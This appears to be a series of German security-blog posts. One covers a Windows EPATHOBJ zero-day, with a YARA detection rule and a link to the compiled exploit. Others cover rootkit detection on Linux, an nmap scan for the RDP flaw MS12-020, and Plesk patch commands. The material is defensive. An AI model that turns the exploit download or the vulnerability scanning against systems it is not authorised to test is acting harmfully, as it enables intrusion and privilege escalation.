Zur Ausführung des WCE sind allerdings administrative Rechte erforderlich, über die die Angreifer nicht immer verfügen. Mit dem neuen Windows Exploit erhalten sie diese aber einfach und schnell. Eine gesamte Windows Domäne fällt so in kürzester Zeit.

Gegenmaßnahmen

Wir haben auf Grund der Dinglichkeit eine Signatur für das von Tavis Ormandy veröffentlichte Windows Zero-Day-Exploit erzeugt. Andere Methoden zur Erkennung werden derzeit evaluiert. Wir werden Sie hier im Blog informieren, wenn wir andere Wege zur Erkennung (z.B. Windows Eventlogging) finden konnten.
Sie können ihre Systeme mit Hilfe von YARA manuell scannen.
rule Windows_0day_Exploit_1 {
meta: description = "Windows 0day EPATHOBJ local ring0 Exploit"
strings:
$a = "PATHRECORD" fullword
$b = "HRGN" fullword
$c = "FlattenPath" fullword
$d = "EndPath" fullword
$e = "PolyDraw" fullword
condition:
all of them
}

Nachdem Sie “yara-1.7-winXX.zip” heruntergeladen und entpackt haben, können sie über die Kommandozeile den Scan mit der oben angegeben Signatur starten.
Diese Signatur ist auch Teil unseres Incident Response Scanners THOR, zu dem Sie hier mehr Informationen finden können.
Einen Schutz auf kritischen Systemen bietet eine Lösung wie “AppSense Application Manager“, zu dem wir auch Support anbieten. Er setzt das “Trusted Ownership” Modell um, welches auf Windows Systemen sicherstellt, dass nur diejenigen Executables ausgeführt werden dürfen, die von einer vertrauenswürdigen Gruppe auf das System gebracht wurden (z.B. Administratoren). So können z.B. die Benutzer von Citrix Systemen weiterhin ihre dort abgelegten Anwendungen verwenden, aber keine eigenen, eingebrachten Executables zur Ausführung bringen.

Exploitcode

Der Exploitcode wurde von uns kompiliert und untersucht.
Eine von uns veranlasste Analyse des Exploitcodes durch Malwr.com finden Sie hier.
(die kompilierte Executable kann von dieser Seite heruntergeladen werden – wir übernehmen keine Haftung für Schäden, die durch die Ausführung entstehen)

Update

Wir konnten den bereitgestellten Code nur auf 32bit Betriebssystem Versionen zum Laufen bringen. Es steht jedoch außer Frage, dass die Schwachstelle nach Anpassungen auch auf 64bit Systemen ausnutzbar sein muss.
Interessant ist auch, das Tavis Ormandy den lauffähigen Exploitcode von einem chinesischen Studenten bereitgestellt bekommen hat.

Linux Sicherheit – Rootkits automatisch erkennen

Linux Sicherheit – Rootkits automatisch erkennen

Ein wichtiger Teil unserer Arbeit ist es, Risiken in IT-Systeme zu identifizieren, diese auszuschließen oder auf ein hinreichendes Niveau zu minimieren. Bei der Planung von Sicherheitsarchitekturen nimmt die Verwendung von automatisierten Malwarescannern schon lange einen elementaren Platz ein. Clientsysteme ohne Anti-Viren-Programm sind nahezu undenkbar. Ein anderes Bild zeigt sich jedoch, trotz eines erhöhen Schutzbedarfs, bei den Serversystemen. Entsprechende Lösungen sind verfügbar und sollten ein zwingender Baustein jedes Sicherheitskonzeptes sein.
Bei Rootkits, die darauf spezialisiert sind sich durch Manipulation des Betriebssystems der Entdeckung zu entziehen, stoßen viele der gängigen Lösungen an ihre Grenzen. Drei Möglichkeiten dieser Gefahr auf Linuxsystemen durch zusätzliche Sicherheitsmechanismen zu begegnen zeigt der folgende Artikel.
Eine mögliche Lösung bietet die Software AIDE (http://aide.sourceforge.net/). Mit AIDE können, wie das folgende Listing zeigt, Veränderungen im Dateisystem schnell sichtbar gemacht werden. Das Beispiel zeigt eine Manipulation der Ausführbaren Dateien des Systems um durch Veränderungen des Programms ps einen schadhaften Prozess zu verstecken.

#!/bin/bash
#Beispielkonfiguration um nur /bin zu überprüfen
aide -c sample_bin.conf -C
AIDE 0.15.1 found differences between database and filesystem!!
Start timestamp: 2012-10-12 14:21:40
Summary:
Total number of files: 118
Added files: 0
Removed files: 0
Changed files: 1
# Änderungsdetails gekürzt
changed: /bin/ps

Der Mehraufwand, der für den Einsatz von AIDE geleistet werden muss, besteht darin, nach Systemupdates die Datensätze der bekannten Dateien zu aktualisieren.
Doch auch diese Methode hat ihre Grenzen, wenn der Linux-Kernel manipuliert wurde oder Änderungen lediglich in Ordnern auftreten, die nicht überwacht werden. Hier kann eine andere Klasse von Tools zur Rootkiterkennung verwendet werden.
Die Software chkrootkit (http://www.chkrootkit.org/) prüft auf die Anwesenheit bekannter Rootkits. Dies entspricht etwa dem Vorgehen der signaturbasierten Virensuche.

#!/bin/bash
chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
...
Searching for sniffer's logs, it may take a while... nothing found
Searching for rootkit HiDrootkit's default files... nothing found
Searching for rootkit t0rn's default files... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for rootkit Lion's default files... nothing found
Searching for rootkit RSHA's default files... nothing found
...

Genau wie die signaturbasierte Virensuche muss für ein Programm wie Chkrootkit bekannt sein wie sich ein Rootkit verhält, bevor die Suche erfolgreich ist. Dies bedingt aktuelle Signaturen wie bei jedem Virenscanner auch.
Einen anderen Weg verfolgt das Programm Unhide (http://www.unhide-forensics.info/). Unhide versucht mit verschiedenen Methoden die Anwesenheit von versteckten Prozessen und Ports aufzudecken. Dies kann auf einen Rootkitbefall hindeuten.

#!/bin/bash
unhide -f procall brute
Unhide 20110113
http://www.unhide-forensics.info
[*]Searching for Hidden processes through /proc stat scanning
[*]Searching for Hidden processes through /proc chdir scanning
[*]Searching for Hidden processes through /proc opendir scanning
[*]Searching for Hidden thread through /proc/pid/task readdir scanning
[*]Starting scanning using brute force against PIDS with fork()
Found HIDDEN PID: 14496 " ... maybe a transitory process"
[*]Starting scanning using brute force against PIDS with pthread functions

Das Vorgehen von Unhide ist dabei übertragbar auf jedes Rootkit, dass einen Prozess versteckt. Birgt jedoch die Gefahr von False-Positives. Die gefundenen PIDs sollten daher weiter geprüft werden, bevor von einem Rootkitbefall ausgegangen werden kann.
Sollte sich der Verdacht auf einen Rootkitbefall erhärten ist es jedoch ratsam, dass betroffene System aus dem laufenden Betrieb zu nehmen und eingehend forensisch zu untersuchen.
Dies ist insbesondere bei Serversystemen sehr schmerzhaft. Der Befall mit einem Rootkit kann jedoch bedeuten, dass das System bereits vorher von einem Hacker übernommen wurde und das Rootkit als „versteckter Eingang“ installiert wurde. Dieser Gefahr sollte man sich nicht ungeprüft aussetzen.

Systeme mit RDP Schwachstelle MS12-020 im Netzwerk aufspüren

Systeme mit RDP Schwachstelle MS12-020 im Netzwerk aufspüren

In einem Artikel des Security Monitoring Blogs wird beschrieben, wie man mit Hilfe eines Nmap Skriptes die RDP Schwachstelle MS12-020 an Systemen mittels eines Netzwerkscans aufspüren kann.
Wir haben für einen unserer Kunden einen Paket des Nmap Scanners erzeugt, welches bereits das nötige Skript enthält und nur entpackt werden muss, um benutzt werden zu können. Einzig ein WinPcap muss ebenso auf dem System (mit Adminrechten) installiert werden, um das Nmap Scanner Skript anwenden zu können, da Pakete erzeugt werden müssen, die jeder Norm widersprechen. Das WinPcap Installationspaket liegt dem Paket bei und befindet sich im Hauptverzeichnis als “winpcap-nmap-4.12.exe”.
Die RDP Dienste unserer Testsysteme (Windows 7 und Windows 2003) blieben durch die Tests unberührt – d.h. stürzten nicht ab.
Das Nmap Paket der Version 5.61TEST5 mit dem Skript von Aleksandar Nikolic kann hier und aus unserer Download Sektion geladen werden.
Nach dem Download und dem Entpacken kann man nmap folgendermaßen ausführen und das lokale Netz scannen lassen. (Das Zielnetz muss entsprechend angepasst werden)

nmap.exe -sC -vv -p 3389 --script ms12-020-rev 10.1.1.0/24
Plesk Sicherheitsproblem mit Microupdates lösen

Plesk Sicherheitsproblem mit Microupdates lösen

Ein Sicherheitsproblem im Server-Management-Werkzeug Plesk bedroht viele über dieses System gemanagte Serversysteme. In einem heute veröffentlichten heise-Alert wird das Problem beschrieben und auch auf die Workarounds für ältere Systeme verlinkt. Die Lücke wird nach Angaben heises bereits aktiv ausgenutzt.
Alte Plesk Versionen können mit Hilfe des “Autoinstallers” für Micro-Updates mit dem Fix versorgt werden.
Konkret empfiehlt sich folgendes Vorgehen:
1. Plesk Home Directory finden bzw. Version feststellen

dpkg -l | grep plesk 

bzw.

find / -name "autoinstaller*"

2. In das “sbin” Verzeichnis wechseln
z.B.

cd /opt/psa/admin/sbin/

3. dann folgenden Befehl ausführen

autoinstaller --select-product-id plesk --select-release-current --reinstall-patch --install-component base

Auf diese Weise können Sie Ihre Plesk Installation schnell fixen.

GDPR Cookie Consent with Real Cookie Banner